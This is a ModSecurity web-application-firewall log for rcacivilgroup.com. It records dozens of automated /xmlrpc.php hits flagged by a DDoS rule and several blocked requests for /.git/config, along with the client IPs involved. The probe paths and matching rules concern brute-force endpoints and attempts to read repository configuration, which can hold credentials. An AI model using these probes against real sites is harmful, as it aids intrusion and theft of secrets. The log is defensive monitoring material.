[Fri Apr 17 10:02:01.198010 2026] [:error] [pid 51878:tid 51886] [client 82.223.69.219:44578] [client 82.223.69.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.69.219, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGUmUnQhUtMbw9Esgb0sAAAAQY"]
[Fri Apr 17 10:08:02.440694 2026] [:error] [pid 34273:tid 34291] [client 92.63.217.210:45252] [client 92.63.217.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.63.217.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGWAmuQDW686mK3dgGBbQAAAZA"]
[Fri Apr 17 10:10:42.994816 2026] [:error] [pid 51878:tid 51887] [client 52.206.118.176:57362] [client 52.206.118.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.206.118.176, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGWoknQhUtMbw9Esgb1fwAAAQc"]
[Fri Apr 17 10:13:33.924737 2026] [:error] [pid 51878:tid 51894] [client 173.249.51.70:46878] [client 173.249.51.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.249.51.70, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGXTUnQhUtMbw9Esgb1wgAAAQ4"]
[Fri Apr 17 10:17:28.856991 2026] [:error] [pid 9152:tid 9202] [client 84.201.130.79:35006] [client 84.201.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.201.130.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGYOJJYca8I3TNCwIetXQAAAEw"]
[Fri Apr 17 10:18:31.993494 2026] [:error] [pid 34273:tid 34277] [client 137.74.43.174:42320] [client 137.74.43.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.74.43.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGYd2uQDW686mK3dgGFsQAAAYI"]
[Fri Apr 17 10:19:40.274413 2026] [:error] [pid 9152:tid 9193] [client 103.183.75.90:56406] [client 103.183.75.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.183.75.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGYvJJYca8I3TNCwIeuCQAAAEM"]
[Fri Apr 17 10:19:50.744497 2026] [:error] [pid 9151:tid 9162] [client 59.125.102.226:37906] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGYxshTVuRPkua22vT2EAAAAAE"]
[Fri Apr 17 10:21:52.677789 2026] [:error] [pid 34273:tid 34296] [client 20.212.251.69:49122] [client 20.212.251.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.212.251.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGZQGuQDW686mK3dgGHBQAAAZU"]
[Fri Apr 17 10:25:04.366350 2026] [:error] [pid 34273:tid 34276] [client 45.82.122.124:64934] [client 45.82.122.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.82.122.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGaAGuQDW686mK3dgGILwAAAYE"]
[Fri Apr 17 10:25:58.814619 2026] [:error] [pid 25010:tid 25022] [client 157.245.242.100:30930] [client 157.245.242.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.242.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGaNo-7kkf42RarqQ0iegAAAUk"]
[Fri Apr 17 10:29:08.746773 2026] [:error] [pid 9153:tid 9229] [client 81.181.68.123:41458] [client 81.181.68.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.181.68.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGa9OMHGxkTZX3c45ekKwAAAIs"]
[Fri Apr 17 10:29:45.090829 2026] [:error] [pid 34273:tid 34279] [client 128.199.223.38:32990] [client 128.199.223.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.223.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGbGWuQDW686mK3dgGKHAAAAYQ"]
[Fri Apr 17 10:29:52.062595 2026] [:error] [pid 34273:tid 34284] [client 204.48.18.182:40416] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGbIGuQDW686mK3dgGKJAAAAYk"]
[Fri Apr 17 10:31:36.707548 2026] [:error] [pid 9153:tid 9234] [client 211.21.61.245:45942] [client 211.21.61.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGbiOMHGxkTZX3c45ekowAAAJA"]
[Fri Apr 17 10:31:51.455596 2026] [:error] [pid 34273:tid 34283] [client 159.223.103.141:57758] [client 159.223.103.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.103.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGbl2uQDW686mK3dgGK_wAAAYg"]
[Fri Apr 17 10:32:17.584869 2026] [:error] [pid 25010:tid 25027] [client 211.21.61.245:37248] [client 211.21.61.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGbsY-7kkf42RarqQ0jogAAAU4"]
[Fri Apr 17 10:33:04.270507 2026] [:error] [pid 34273:tid 34298] [client 35.226.125.165:41586] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGb4GuQDW686mK3dgGLwgAAAZc"]
[Fri Apr 17 10:35:16.287777 2026] [:error] [pid 9153:tid 9221] [client 72.14.187.140:47984] [client 72.14.187.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.14.187.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGcZOMHGxkTZX3c45eldwAAAIM"]
[Fri Apr 17 10:36:06.887210 2026] [:error] [pid 34273:tid 34280] [client 67.205.40.180:49256] [client 67.205.40.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.40.180, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGclmuQDW686mK3dgGNBQAAAYU"]
[Fri Apr 17 10:38:53.344056 2026] [:error] [pid 34273:tid 34286] [client 157.66.26.248:47328] [client 157.66.26.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.26.248, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGdPWuQDW686mK3dgGN9AAAAYs"]
[Fri Apr 17 10:40:36.247515 2026] [:error] [pid 9152:tid 9211] [client 157.66.27.30:46790] [client 157.66.27.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGdpJJYca8I3TNCwIe0KQAAAFU"]
[Fri Apr 17 10:42:39.027767 2026] [:error] [pid 9153:tid 9241] [client 5.189.168.141:48126] [client 5.189.168.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.189.168.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGeH-MHGxkTZX3c45enGAAAAJc"]
[Fri Apr 17 10:44:28.845740 2026] [:error] [pid 34273:tid 34298] [client 137.74.43.174:51512] [client 137.74.43.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.74.43.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGejGuQDW686mK3dgGPQwAAAZc"]
[Fri Apr 17 10:45:19.988752 2026] [:error] [pid 34273:tid 34295] [client 217.160.225.18:37358] [client 217.160.225.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.225.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGev2uQDW686mK3dgGPjgAAAZQ"]
[Fri Apr 17 10:48:14.696854 2026] [:error] [pid 9152:tid 9199] [client 138.199.15.165:43536] [client 138.199.15.165] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeGfbpJYca8I3TNCwIe2jAAAAEk"]
[Fri Apr 17 10:48:15.204217 2026] [:error] [pid 34273:tid 34288] [client 138.199.15.165:39950] [client 138.199.15.165] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeGfb2uQDW686mK3dgGQNgAAAY0"]
[Fri Apr 17 10:49:25.185987 2026] [:error] [pid 9151:tid 9183] [client 85.10.187.189:53798] [client 85.10.187.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.10.187.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGftchTVuRPkua22vT5kwAAABY"]
[Fri Apr 17 10:50:53.264307 2026] [:error] [pid 9152:tid 9195] [client 51.159.214.31:38008] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.214.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGgDZJYca8I3TNCwIe4GwAAAEU"]
[Fri Apr 17 10:51:37.797906 2026] [:error] [pid 9153:tid 9227] [client 51.77.116.174:47378] [client 51.77.116.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.77.116.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGgOeMHGxkTZX3c45eo1QAAAIk"]
[Fri Apr 17 10:51:57.515316 2026] [:error] [pid 9153:tid 9235] [client 209.74.64.184:39090] [client 209.74.64.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.74.64.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGgTeMHGxkTZX3c45eo5QAAAJE"]
[Fri Apr 17 10:52:44.789456 2026] [:error] [pid 9152:tid 9197] [client 5.135.142.201:33132] [client 5.135.142.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.135.142.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGgfJJYca8I3TNCwIe43gAAAEc"]
[Fri Apr 17 10:53:36.945496 2026] [:error] [pid 9152:tid 9205] [client 75.127.14.16:49194] [client 75.127.14.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 75.127.14.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGgsJJYca8I3TNCwIe5LgAAAE8"]
[Fri Apr 17 10:55:56.911290 2026] [:error] [pid 9263:tid 9286] [client 148.251.75.145:48030] [client 148.251.75.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.75.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGhPBP68VyHNvj1e55rMAAAANU"]
[Fri Apr 17 10:56:54.526109 2026] [:error] [pid 9152:tid 9198] [client 82.223.68.239:54268] [client 82.223.68.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.68.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGhdpJYca8I3TNCwIe59QAAAEg"]
[Fri Apr 17 10:58:49.171650 2026] [:error] [pid 9151:tid 9185] [client 107.180.252.236:34690] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.252.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGh6chTVuRPkua22vT7DQAAABg"]
[Fri Apr 17 10:59:10.768634 2026] [:error] [pid 9152:tid 9190] [client 185.199.223.93:44272] [client 185.199.223.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGh_pJYca8I3TNCwIe6nAAAAEA"]
[Fri Apr 17 10:59:43.262799 2026] [:error] [pid 34273:tid 34278] [client 198.58.96.57:40334] [client 198.58.96.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.58.96.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGiH2uQDW686mK3dgGS-QAAAYM"]
[Fri Apr 17 11:03:49.458167 2026] [:error] [pid 34273:tid 34295] [client 159.65.127.101:35326] [client 159.65.127.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.127.101, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGjFWuQDW686mK3dgGT8wAAAZQ"]
[Fri Apr 17 11:04:13.242729 2026] [:error] [pid 9152:tid 9196] [client 194.233.81.119:41414] [client 194.233.81.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.233.81.119, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGjLZJYca8I3TNCwIe8iwAAAEY"]
[Fri Apr 17 11:05:13.423708 2026] [:error] [pid 9152:tid 9209] [client 164.132.207.73:49428] [client 164.132.207.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.207.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGjaZJYca8I3TNCwIe8ogAAAFM"]
[Fri Apr 17 11:05:28.191855 2026] [:error] [pid 9151:tid 9180] [client 195.242.102.130:45914] [client 195.242.102.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.242.102.130, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGjeMhTVuRPkua22vT8UwAAABM"]
[Fri Apr 17 11:06:30.217518 2026] [:error] [pid 9152:tid 9211] [client 200.152.177.16:55178] [client 200.152.177.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.152.177.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGjtpJYca8I3TNCwIe9BAAAAFU"]
[Fri Apr 17 11:07:42.643019 2026] [:error] [pid 34273:tid 34275] [client 72.14.187.140:33340] [client 72.14.187.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.14.187.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGj_muQDW686mK3dgGUwwAAAYA"]
[Fri Apr 17 11:09:03.135493 2026] [:error] [pid 34273:tid 34275] [client 82.223.101.71:54238] [client 82.223.101.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.101.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGkT2uQDW686mK3dgGU3wAAAYA"]
[Fri Apr 17 11:09:13.627395 2026] [:error] [pid 25010:tid 25013] [client 196.27.114.137:53064] [client 196.27.114.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.27.114.137, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGkWY-7kkf42RarqQ0pngAAAUA"]
[Fri Apr 17 11:11:04.457873 2026] [:error] [pid 9263:tid 9279] [client 35.242.254.186:53818] [client 35.242.254.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.242.254.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGkyBP68VyHNvj1e55sdQAAAM4"]
[Fri Apr 17 11:11:43.926659 2026] [:error] [pid 9153:tid 9231] [client 34.82.130.194:33194] [client 34.82.130.194] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeGk7-MHGxkTZX3c45erxQAAAI0"]
[Fri Apr 17 11:12:01.021890 2026] [:error] [pid 9263:tid 9287] [client 213.163.111.111:50262] [client 213.163.111.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.163.111.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGlARP68VyHNvj1e55skAAAANY"]
[Fri Apr 17 11:12:01.042373 2026] [:error] [pid 9263:tid 9274] [client 213.163.111.111:50263] [client 213.163.111.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.163.111.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGlARP68VyHNvj1e55skgAAAMk"]
[Fri Apr 17 11:12:11.402714 2026] [:error] [pid 9151:tid 9172] [client 213.163.111.111:50572] [client 213.163.111.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.163.111.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGlC8hTVuRPkua22vT9HAAAAAs"]
[Fri Apr 17 11:12:11.456772 2026] [:error] [pid 9151:tid 9162] [client 213.163.111.111:50575] [client 213.163.111.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.163.111.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGlC8hTVuRPkua22vT9HQAAAAE"]
[Fri Apr 17 11:12:22.225164 2026] [:error] [pid 9153:tid 9220] [client 213.163.111.111:50859] [client 213.163.111.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.163.111.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGlFuMHGxkTZX3c45er5gAAAII"]
[Fri Apr 17 11:12:22.228477 2026] [:error] [pid 25010:tid 25032] [client 213.163.111.111:50856] [client 213.163.111.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.163.111.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGlFo-7kkf42RarqQ0qAAAAAVM"]
[Fri Apr 17 11:13:13.029389 2026] [:error] [pid 9152:tid 9203] [client 161.35.14.71:39350] [client 161.35.14.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.14.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGlSZJYca8I3TNCwIe_ZgAAAE0"]
[Fri Apr 17 11:13:46.594368 2026] [:error] [pid 34273:tid 34299] [client 176.60.210.112:51720] [client 176.60.210.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.60.210.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGlamuQDW686mK3dgGVbQAAAZg"]
[Fri Apr 17 11:14:00.976893 2026] [:error] [pid 9153:tid 9242] [client 155.133.132.65:34193] [client 155.133.132.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.132.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGleOMHGxkTZX3c45esEwAAAJg"]
